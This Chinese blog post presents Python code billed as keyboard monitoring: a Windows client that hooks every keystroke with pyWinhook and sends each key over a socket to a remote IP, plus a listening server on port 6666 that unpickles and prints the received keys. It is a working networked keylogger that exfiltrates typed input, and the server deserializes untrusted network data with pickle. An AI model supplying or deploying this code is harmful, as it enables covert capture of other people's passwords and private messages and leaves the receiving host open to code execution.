python实现监听键盘
作者:noc_13 发布时间:2023-12-01 19:16:17
标签:python,监听键盘
python实现监听键盘,供大家参考,具体内容如下实现服务端
import pickle
from io import BytesIO
import socket
#接收数据
def Server_Recive(ip,port):
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_obj.bind((ip,port))
socket_obj.listen(5)
file = 1
while True:
connection,address = socket_obj.accept()
#接受的数据
recieved_message = b''
recieved_message_fragment = connection.recv(1024)
while recieved_message_fragment:
recieved_message += recieved_message_fragment
recieved_message_fragment = connection.recv(1024)
try:
obj = pickle.loads(recieved_message)
print(obj['Key'],end=' ')
except EOFError:
file_name = 'recv_image_' + str(file_on) + '.bmp'
recv_image = open(file_name,'wb')
recv_image.write(recieved_message)
file_on += 1
connection.close()
if __name__ == '__main__':
Server_IP = '0.0.0.0'
Server_Port = 6666
Server_Recive(Server_IP,Server_Port)
键盘监听程序
#键盘监听
import pythoncom,pyWinhook,pickle,socket
from io import BytesIO
def Client_PIC(ip,port,obj):
try:
msg = pickle.dumps(obj)
send_message = BytesIO(msg)
send_message_fragment = send_message.read(1024)
except:
send_message = obj
send_message_fragment = send_message.read(1024)
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_obj.connect((ip,port))
while send_message_fragment:
socket_obj.send(send_message_fragment)
send_message_fragment = send_message.read(1024)
socket_obj.close()
def OnkeyBoardEvent(event):
dict_key = {}
dict_key['MessageName'] = event.MessageName
dict_key['Key'] = event.Key
Client_PIC('你自己的ip地址',6666,dict_key)
return True
def Keylogger():
hm = pyWinhook.HookManager()
hm.KeyDown = OnkeyBoardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Keylogger()
其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述
运行(先运行服务端,而后运行监听程序)
来源:https://blog.csdn.net/weixin_43893278/article/details/116087163
0
投稿
猜你喜欢
- 下面代码写的是js验证检查输入的字符是否是全角的函数:效果演示:<script> function i
- 内容摘要: Request和Response这两个对象是ASP所提供的内置对象中最常用的两个。在浏览器(或其他用户代理)和Web服
- “模板化”——这也许是视觉设计师通常最不愿意听到的概念,先入为主的会产生“批量生产”、“体力活儿”、“限制思维”等概念,总之都比较负面。但为
- 本文实例讲述了用python读写excel的方法。分享给大家供大家参考。具体如下:最近需要从多个excel表里面用各种方式整理一些数据,虽然
- subprocess.run()运行并等待args参数指定的指令完成,返回CompletedProcess实例。参数:(*popenargs
- var a = 0, b = 0;[0, 0].sort(function() {a = 1;return 0;});[0, 1].sort
- 这篇文章主要介绍了Python实现序列化及csv文件读取,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的
- 在之前文章给大家分享后不久,就有位小伙伴跟小编说在用scrapy搭建python爬虫中出现错误了。一开始的时候小编也没有看出哪里有问题,好在
- 最近 全栈数据工程师养成攻略 的微信群已经将近500人,开了二群之后为了打通不同微信群之间的消息,花了点时间做了个消息同步机器人,在任意群收
- 知识点: Array方法: sort:降序 reverse:反序 效果: 代码: <style> *{ margin
- 桥接模式(Bridge Pattern)是什么桥接模式是一种结构型模式,它将抽象部分与实现部分分离开来,使它们可以独立地变化。在桥接模式中,
- 前言二维码现在是随处度可以看到,买东西,支付,添加好友只要你扫一扫就能完成整个工作,简单且方便。所以利用这个新春佳节做一个带着新春祝福的二维
- 这个函数是前几年刚流行小偷程序的时候,偶写来用于小偷程序中截取代码的;可能有些朋友在我以前的代码中看见过了,但没有写用法,现在把调用方法及使
- 继续Mootools常用方法扩展,依然还是String类的扩展。方法:format说明:一个非常简单的format方法,和C#
- 一、项目效果学校宿舍今天搬家,累麻了,突然发现展示处理的也很粗糙,就这样吧嘿嘿~~~二、核心流程1、openCV读取视频流、在每一帧图片上画
- 假如你目前需要在Microsoft Access数据库中指示不存在数据,可以在“文本”或&l
- 自动扫雷一般分为两种,一种是读取内存数据,而另一种是通过分析图片获得数据,并通过模拟鼠标操作,这里我用的是第二种方式。一、准备工作1.扫雷游
- 下面基础的解释一下这错误: 1:本质上的错误: object a;//a是Null对象 protected void Page_Load(o
- 今天继续给大家介绍Python相关知识,本文主要内容是Python asyncio异步编程常见问题。一、asyncio编程简单示例首先,我们
- 密钥密码'''如密钥短语密码为: university -> universty明文: abcdefghijk